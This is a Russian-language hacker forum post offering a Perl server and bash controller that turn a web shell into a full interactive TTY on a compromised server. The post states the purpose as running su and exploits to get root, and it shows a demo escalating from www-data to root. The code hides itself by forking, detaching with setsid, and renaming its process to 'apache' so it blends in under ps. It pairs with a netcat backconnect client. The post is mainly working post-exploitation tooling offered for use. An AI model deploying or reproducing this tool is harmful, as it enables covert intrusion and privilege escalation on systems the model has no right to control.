эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out
написан для получения tty из под веб-шелла [ tty from web shell ]
с ним из веб шела можно юзать su, запускать эксплоиты и получать рута
пример работы:
Код:
./ttyServer.pl
[Server is ready at 127.0.0.1:43157]
./ttyClient.pl 127.0.0.1 43157
Connecting to 127.0.0.1:43157... ok
Allocatig pseudo terminal... /dev/pts/0
Initializing pseudo terminal... ok
Forking shell thread...ok
Have fun!
./exec.sh "id;pwd;tty" -c
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/dev
/dev/pts/0
www-data@bt:/dev$
./exec.sh "su" -c
su
Password:
./exec.sh "toor" -c
root@bt:/dev#
./exec.sh "id" -c
id uid=0(root) gid=0(root) groups=0(root)
root@bt:/dev#
сам "эмулятор" ttyServer.pl
Код:
#!/usr/bin/perl -w
# эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out
# написан для получения tty из под веб-шелла [ tty from web shell ]
# CopyLeft by DrakonHaSh@rdot.org/forum/
use Fcntl; # for sysopen
use POSIX; # for setsid
use IO::Socket;
$DEBUG = 0; # 0 - никаких сообщений, кроме инициализации (боевой вариант, все в /dev/null),
# 1 - только основные (print)
# 2 - самый болтливый (print + debugPrint)
$EAGAIN=11; # const for chk ret value syswrite/sysread
$INPUTFILENAME = 'in';
$OUTPUTFILENAME = 'out';
$HOST='127.0.0.1';
$PORT='43157';
($HOST, $PORT) = @ARGV if ($#ARGV == 1); # ./ttyServer 127.0.0.1 45678
($PORT) = @ARGV if ($#ARGV == 0); # ./ttyServer 45678
open STDERR, STDOUT; # чтоб die не шли в errors.log
createFilesForInputOutput();
$server = new IO::Socket::INET (
Proto => 'tcp',
LocalAddr => $HOST,
LocalPort => $PORT,
Listen => 1,
Reuse => 1
) or die "Can't create server at [$HOST:$PORT] : $!" ;
print "[Server is ready at ",$server->sockhost,":",$server->sockport,"]\n";
#=========================================================================================================================
if (!$DEBUG) {
open STDIN, '/dev/null' or die "Can't read /dev/null: $!";
open STDOUT, '>/dev/null';
open STDERR, '>/dev/null';
}
#=========================================================================================================================
# косим под системный демон, у которого нет предков
# "убираем" колонку TTY в [ps -AFH]
defined($pid = fork) or die $!;
exit if $pid;
# "убираем" колонку PPID в [ps -AFH]
POSIX::setsid();
# устанавливаем колонку CMD в [ps -AFH] для конкретных систем полезно менять в зависимости от контекста сервера
$0="apache";
#
#=========================================================================================================================
$connection = $server->accept(); # ждем подключения клиента
close $server; # закрываем LISTEN($server), оставляем только ESTABLISHED($connection)
$connection->autoflush(1); # на всяк случай, хотя и без этого работает как надо
while ( $connection && $connection->connected() ) {
my $input = readInputFromFile();
last if ($input eq ".exit.\n");
if (length $input > 0) {
writeToSock($input);
}
my $output = readFromSock(); # здесь неявно sleep 0.25
if (length $output > 0) {
writeOutputToFile($output);
}
}
close $connection if ($connection);
unlink $INPUTFILENAME;
print "\n$0 EXIT!\nManually delete [$OUTPUTFILENAME] file if U need\n";
exit;
#=========================================================================================================================
#=========================================================================================================================
# $data = readFromSock();
sub readFromSock {
my $data = '';
debugPrint("\n==> readFromSock enter ==>\n");
while(1) {
# проверка наличия данных для чтения в сокете [ http://valera.asf.ru/perl/cookbook/cont.php?id=244 ]
my $rin = '';
vec($rin, fileno($connection), 1) = 1;
my $timeout = 0.25; # sec
select($rout = $rin, undef, undef, $timeout);
if (vec($rout,fileno($connection),1) != 1) {
debugPrint ("\n no data in socket for read \n");
last;
}
#
debugPrint("[read] buff=>\n");
my $rv = sysread($connection, $buff, 1024);
last if (!defined($rv) && $! == $EAGAIN);
defined($rv) or die $!;
if ($rv == 0) {
close $connection;
$connection = 0;
last;
}
$data .= $buff;
debugPrint($buff, "\n<= [read]\n");
}
debugPrint("\n<== readFromSock exit <==\n");
return $data;
}
#=========================================================================================================================
# writeToSock ($data);
sub writeToSock {
my $buff = shift;
debugPrint("[write] buff=>\n", $buff);
while(length $buff > 0) {
my $rv = syswrite($connection, $buff, length $buff);
if (!defined($rv) && $! == $EAGAIN) {
## try again
next;
}
defined($rv) or die $!;
last if ($rv == length $buff);
substr($buff,0,$rv) = '';
}
debugPrint("\n<= [write]\n");
}
#=========================================================================================================================
# createFilesForInputOutput();
sub createFilesForInputOutput {
umask 0;
sysopen IN, $INPUTFILENAME, O_CREAT | O_TRUNC
or die "Fail on create file [$INPUTFILENAME] : $!";
close IN;
chmod 0666, $INPUTFILENAME;
sysopen OUT, $OUTPUTFILENAME, O_CREAT | O_RDWR | O_APPEND
or die "Fail on open/create file [$OUTPUTFILENAME] : $!";
print OUT "\n",'='x64,"\nNew session started at: ", `date`,'='x64,"\n";
close OUT;
chmod 0666, $OUTPUTFILENAME;
}
#=========================================================================================================================
# $input = readInputFromFile();
sub readInputFromFile {
my $input = "";
sysopen IN, $INPUTFILENAME, O_RDWR;
sysread(IN, $input, 65535);
truncate IN, 0;
close IN;
return $input;
}
#=========================================================================================================================
# writeOutputToFile($output);
sub writeOutputToFile {
my $output = shift;
sysopen OUT, $OUTPUTFILENAME, O_WRONLY | O_APPEND;
syswrite(OUT, $output, length $output);
close OUT;
}
#=========================================================================================================================
# debugPrint(str1, str2, ... strN);
sub debugPrint {
return if ($DEBUG!=2);
while ( defined($str = shift) ) {
printf $str;
}
}
#=========================================================================================================================
управлялка сервером exec.sh
Код:
#!/bin/bash
# без аргументов: вывод текущего out
# ./exec.sh
#
# если есть первый аргумент - посылка его в in, ожидание секунды и вывод out
# ./exec.sh "id;pwd"
#
# если второй аргумент -с то out очищается перед посылкой команды
# ./exec.sh "id;pwd" -c
INPUTFILENAME='in'
OUTPUTFILENAME='out'
if [ $# -gt 0 ]
then
if [ ! -f $INPUTFILENAME ] ;
then
echo "server is not started"
exit
fi
if [ "$2" == "-c" ] ;
then
echo -n > $OUTPUTFILENAME
fi
echo $1 > $INPUTFILENAME
sleep 1
fi
cat $OUTPUTFILENAME
в качестве клиента подойдет любой
TTY Backconnect, который работает через netcat
в архиве вот
эта